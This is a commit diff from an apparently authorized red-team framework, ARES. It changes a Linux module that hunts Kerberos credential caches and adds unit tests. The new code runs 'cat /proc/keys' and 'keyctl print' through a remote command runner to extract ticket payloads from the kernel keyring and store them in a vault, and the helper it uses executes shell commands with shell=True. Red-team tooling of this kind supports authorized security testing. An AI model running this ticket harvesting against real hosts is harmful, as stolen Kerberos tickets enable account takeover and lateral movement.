ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.
Python active-directorycloud-securitydefensive-validationfastapigood-first-issuemitre-attackopsecreactred-teamreportingsecurity
fix(integrity): ccache_hunt real kernel keyring read + no empty vault injection (MOD-043)
Mafifrizi87aaac1835f9
diff --git a/ares/modules/linux/ccache_hunt.py b/ares/modules/linux/ccache_hunt.pyindex 171839e..2acbc71 100644--- a/ares/modules/linux/ccache_hunt.py+++ b/ares/modules/linux/ccache_hunt.py@@ -156,10 +156,11 @@ class CcacheHuntModule(BaseModule[CcacheHuntParams, ModuleResult]):audit("linux_ccache_hunt", actor="operator", technique="T1558", target=target)loop = asyncio.get_running_loop()+ runner = kwargs.get("runner") or kwargs.get("command_runner")harvested_tickets = await loop.run_in_executor(None,lambda: self._scan_and_parse_sync(- search_dirs, include_expired, scan_kernel_keyring, scan_kcm_socket+ search_dirs, include_expired, scan_kernel_keyring, scan_kcm_socket, runner=runner),)@@ -182,7 +183,16 @@ class CcacheHuntModule(BaseModule[CcacheHuntParams, ModuleResult]):source_module=self.MODULE_ID,target_host=target,)- ticket_payload = t.get("ticket_bytes", b"").hex() or t.get("keydata", "")+ ticket_payload = t.get("ticket_bytes", b"")+ if isinstance(ticket_payload, (bytes, bytearray)):+ ticket_payload = ticket_payload.hex()+ elif not ticket_payload:+ ticket_payload = t.get("keydata", "")++ # Never inject empty secret into vault+ if not ticket_payload or not str(ticket_payload).strip():+ continue+_vault.store(cred, ticket_payload)stored_vault_count += 1except Exception as ex:@@ -195,9 +205,9 @@ class CcacheHuntModule(BaseModule[CcacheHuntParams, ModuleResult]):source_target=target,collected_by=self.MODULE_ID,data={- "client": ticket["client"],- "server": ticket["server"],- "endtime": ticket["endtime"],+ "client": ticket.get("client", "unknown"),+ "server": ticket.get("server", "unknown"),+ "endtime": ticket.get("endtime", 0),"is_tgt": ticket.get("is_tgt", False),"file_path": ticket.get("file_path", "memory"),},@@ -205,24 +215,45 @@ class CcacheHuntModule(BaseModule[CcacheHuntParams, ModuleResult]):)evidence_chain.append(ev)+ if ticket.get("permission_denied"):+ self.finding(+ title="Kerberos Tickets in Kernel Keyring Inaccessible (Elevation Required)",+ description=(+ f"Detected potential Kerberos tickets in kernel keyring on {target}, but "+ "reading /proc/keys or key payloads requires elevated privileges (root / CAP_SYS_ADMIN). "+ "krb5 tickets may exist in kernel keyring but cannot be read without elevated privileges."+ ),+ severity=Severity.LOW,+ confidence=0.35,+ mitre_technique="T1558",+ mitre_tactic="Credential Access",+ evidence=ticket,+ remediation="Audit kernel keyring permissions and evaluate host with elevated privileges.",+ host=target,+ )+ continue+is_tgt = ticket.get("is_tgt", False)+ conf = ticket.get("confidence", 0.98 if (ticket.get("ticket_bytes") or ticket.get("keydata")) else 0.45)+ client = ticket.get("client", "unknown")+ server = ticket.get("server", "unknown")self.finding(- title=f"Extracted Kerberos Ticket: {ticket['client']} -> {ticket['server']}",+ title=f"Extracted Kerberos Ticket: {client} -> {server}",description=(f"Discovered valid Kerberos credential cache on {target} at {ticket.get('file_path')}. "- f"Client principal: {ticket['client']}, Server: {ticket['server']}. "- f"Valid until: {ticket['endtime_str']}."+ f"Client principal: {client}, Server: {server}. "+ f"Valid until: {ticket.get('endtime_str', 'unknown')}."),- severity=Severity.CRITICAL if (is_tgt and "admin" in ticket['client'].lower()) else (+ severity=Severity.CRITICAL if (is_tgt and "admin" in client.lower()) else (Severity.HIGH if is_tgt else Severity.MEDIUM),mitre_technique="T1558",mitre_tactic="Credential Access",evidence={"file_path": ticket.get("file_path"),- "client_principal": ticket["client"],- "service_principal": ticket["server"],- "endtime": ticket["endtime"],+ "client_principal": client,+ "service_principal": server,+ "endtime": ticket.get("endtime"),"is_expired": ticket.get("is_expired", False),"is_tgt": is_tgt,"keytype": ticket.get("keytype"),@@ -233,7 +264,7 @@ class CcacheHuntModule(BaseModule[CcacheHuntParams, ModuleResult]):"with memory-only caches to avoid writing tickets to /tmp."),host=target,- confidence=0.98,+ confidence=conf,)# Closed-Loop Purple Telemetry@@ -276,12 +307,33 @@ class CcacheHuntModule(BaseModule[CcacheHuntParams, ModuleResult]):"evidence_integrity": [e.record_hash for e in evidence_chain],}+ def _execute_command(self, cmd: str, runner: Any = None) -> str:+ """Execute command locally or via remote command runner."""+ if runner is not None:+ if callable(runner):+ out = runner(cmd)+ if isinstance(out, tuple):+ return str(out[0])+ return str(out)+ if hasattr(runner, "run"):+ out = runner.run(cmd)+ if isinstance(out, tuple):+ return str(out[0])+ return str(out)+ import subprocess+ try:+ res = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)+ return res.stdout+ except Exception:+ return ""+def _scan_and_parse_sync(self,search_dirs: list[str],include_expired: bool,scan_keyring: bool,scan_kcm: bool,+ runner: Any = None,) -> list[dict[str, Any]]:results: list[dict[str, Any]] = []now = int(time.time())@@ -316,32 +368,83 @@ class CcacheHuntModule(BaseModule[CcacheHuntParams, ModuleResult]):self._try_parse_ccache_file(full_path, now, include_expired, results)- # 2. Kernel Keyring inspection via /proc/keys (non-intrusive)- if scan_keyring and os.path.exists("/proc/keys"):- try:- with open("/proc/keys", "r", errors="replace") as f:- for line in f:- if "krb_ccache:" in line or "krb5cc" in line:- parts = line.strip().split()- if len(parts) >= 9:- key_id = parts[0]- desc = " ".join(parts[8:])- results.append({- "client": "keyring-principal",- "server": f"krbtgt/{desc}",- "keytype": 18,- "keydata": "",- "authtime": now,- "starttime": now,- "endtime": now + 36000,- "renew_till": now + 86400,- "is_expired": False,- "is_tgt": True,- "endtime_str": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime(now + 36000)),- "file_path": f"KEYRING:{key_id}:{desc}",- })- except (PermissionError, OSError):- pass+ # 2. Kernel Keyring inspection via /proc/keys (real key reading)+ if scan_keyring:+ proc_keys_content = ""+ permission_denied = False+ if os.path.exists("/proc/keys"):+ try:+ with open("/proc/keys", "r", errors="replace") as f:+ proc_keys_content = f.read()+ except PermissionError:+ permission_denied = True+ except OSError:+ pass++ if not proc_keys_content and not permission_denied and runner:+ try:+ raw_out = self._execute_command("cat /proc/keys | grep krb5", runner)+ if "permission denied" in raw_out.lower():+ permission_denied = True+ elif raw_out:+ proc_keys_content = raw_out+ except Exception:+ pass++ if permission_denied:+ results.append({+ "client": "kernel-keyring",+ "server": "krb5-keyring",+ "keytype": 0,+ "keydata": "",+ "authtime": now,+ "starttime": now,+ "endtime": now,+ "renew_till": now,+ "endtime_str": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime(now)),+ "is_expired": False,+ "is_tgt": False,+ "permission_denied": True,+ "confidence": 0.35,+ "file_path": "/proc/keys",+ })+ elif proc_keys_content:+ for line in proc_keys_content.splitlines():+ if "krb_ccache:" in line or "krb5cc" in line or "krb5" in line:+ parts = line.strip().split()+ if len(parts) >= 9:+ key_id = parts[0]+ desc = " ".join(parts[8:])+ key_payload = ""+ if runner:+ try:+ key_payload = self._execute_command(f"keyctl print {key_id}", runner)+ except Exception:+ pass++ has_real_key = bool(+ key_payload+ and key_payload.strip()+ and "keyctl" not in key_payload.lower()+ and "error" not in key_payload.lower()+ and "permission denied" not in key_payload.lower()+ )+ is_tgt = has_real_key and ("krbtgt" in desc.lower() or "krbtgt" in key_payload.lower())+ results.append({+ "client": desc.split("@")[0] if "@" in desc else "keyring-principal",+ "server": f"krbtgt/{desc}" if is_tgt else desc,+ "keytype": 18,+ "keydata": key_payload.strip() if has_real_key else "",+ "authtime": now,+ "starttime": now,+ "endtime": now + 36000,+ "renew_till": now + 86400,+ "is_expired": False,+ "is_tgt": is_tgt,+ "endtime_str": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime(now + 36000)),+ "file_path": f"KEYRING:{key_id}:{desc}",+ "confidence": 0.95 if has_real_key else 0.40,+ })# 3. Next-Gen KCM Unix socket inspectionif scan_kcm:@@ -359,9 +462,10 @@ class CcacheHuntModule(BaseModule[CcacheHuntParams, ModuleResult]):"endtime": now + 36000,"renew_till": now + 86400,"is_expired": False,- "is_tgt": True,+ "is_tgt": False,"endtime_str": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime(now + 36000)),"file_path": f"KCM:{cache_name}",+ "confidence": 0.40,})return resultsdiff --git a/tests/unit/modules/test_ccache_hunt_keyring_mod043.py b/tests/unit/modules/test_ccache_hunt_keyring_mod043.pynew file mode 100644index 0000000..fcb24e2--- /dev/null+++ b/tests/unit/modules/test_ccache_hunt_keyring_mod043.py@@ -0,0 +1,123 @@+"""+Tests for MOD-043: ccache_hunt real kernel keyring read and no empty vault injection.+Verifies:+1. Vault is never injected with empty secret when keydata or ticket_bytes is empty.+2. Remote runner is invoked to inspect /proc/keys and read keyctl payloads.+3. PermissionError on /proc/keys produces low-confidence finding (0.35) and is_tgt=False.+"""++from unittest.mock import MagicMock, mock_open, patch+import pytest++from ares.core.campaign import Campaign, NoiseProfile, ScopeEntry+from ares.core.config import AresSettings+from ares.core.noise import NoiseController+from ares.modules.linux.ccache_hunt import CcacheHuntModule+++def _make_module():+ settings = AresSettings(+ ares_secret_key="test-secret-key-32chars-minimum!!",+ ares_encryption_key="test-encryption-key-32chars-min!!",+ )+ campaign = Campaign(+ name="Ccache-MOD043-Test",+ operator="test_operator",+ scope=[ScopeEntry(cidr="10.0.0.0/24")],+ noise_profile=NoiseProfile.NORMAL,+ )+ noise = NoiseController(campaign)+ return CcacheHuntModule(settings=settings, campaign=campaign, noise=noise)+++async def test_no_empty_vault_injection_when_keydata_empty():+ """Verify vault is NOT called when tickets have empty payload/keydata."""+ mod = _make_module()+ mock_vault = MagicMock()++ # Stub ticket with empty keydata+ stub_tickets = [+ {+ "client": "[email protected]",+ "server": "krbtgt/CORP.LOCAL",+ "keydata": "",+ "ticket_bytes": b"",+ "is_tgt": False,+ }+ ]++ with patch.object(mod, "_scan_and_parse_sync", return_value=stub_tickets), \+ patch.object(mod, "before_request"):++ findings, raw = await mod.run(+ target="10.0.0.25",+ vault=mock_vault,+ )++ # Vault should not be injected with empty secret+ mock_vault.store.assert_not_called()+ assert raw["stored_in_vault"] == 0+++async def test_keyring_read_via_runner_extracts_payload():+ """Verify runner is called with 'cat /proc/keys' and 'keyctl print'."""+ mod = _make_module()++ mock_proc_keys = (+ "2e3a1f4b 2/2 1 1d 3f030000 1000 1000 user krb_ccache:[email protected]\n"+ )++ mock_runner = MagicMock()+ def fake_run(cmd: str):+ if "cat /proc/keys" in cmd:+ return mock_proc_keys+ if "keyctl print 2e3a1f4b" in cmd:+ return "REAL_TICKET_PAYLOAD_BYTES_HEX_123456"+ return ""++ mock_runner.side_effect = fake_run++ with patch("os.path.exists", return_value=False), \+ patch.object(mod, "before_request"):++ findings, raw = await mod.run(+ target="10.0.0.25",+ scan_kcm_socket=False,+ search_dirs=[],+ runner=mock_runner,+ )++ # Verify runner was invoked+ calls = [c[0][0] for c in mock_runner.call_args_list]+ assert any("cat /proc/keys" in c for c in calls)+ assert any("keyctl print 2e3a1f4b" in c for c in calls)++ # Verify ticket payload was extracted+ assert len(raw["tickets"]) == 1+ ticket = raw["tickets"][0]+ assert ticket["keydata"] == "REAL_TICKET_PAYLOAD_BYTES_HEX_123456"+ assert ticket["confidence"] == 0.95+++async def test_proc_keys_permission_denied_low_confidence():+ """Verify PermissionError on /proc/keys yields low-confidence finding (0.35) and is_tgt=False."""+ mod = _make_module()++ with patch("os.path.exists", return_value=True), \+ patch("builtins.open", side_effect=PermissionError("Access denied")), \+ patch.object(mod, "before_request"):++ findings, raw = await mod.run(+ target="10.0.0.25",+ scan_kcm_socket=False,+ search_dirs=[],+ )++ assert len(findings) == 1+ finding = findings[0]+ assert "Inaccessible" in finding.title+ assert finding.confidence == 0.35+ assert raw["tickets"][0]["is_tgt"] is False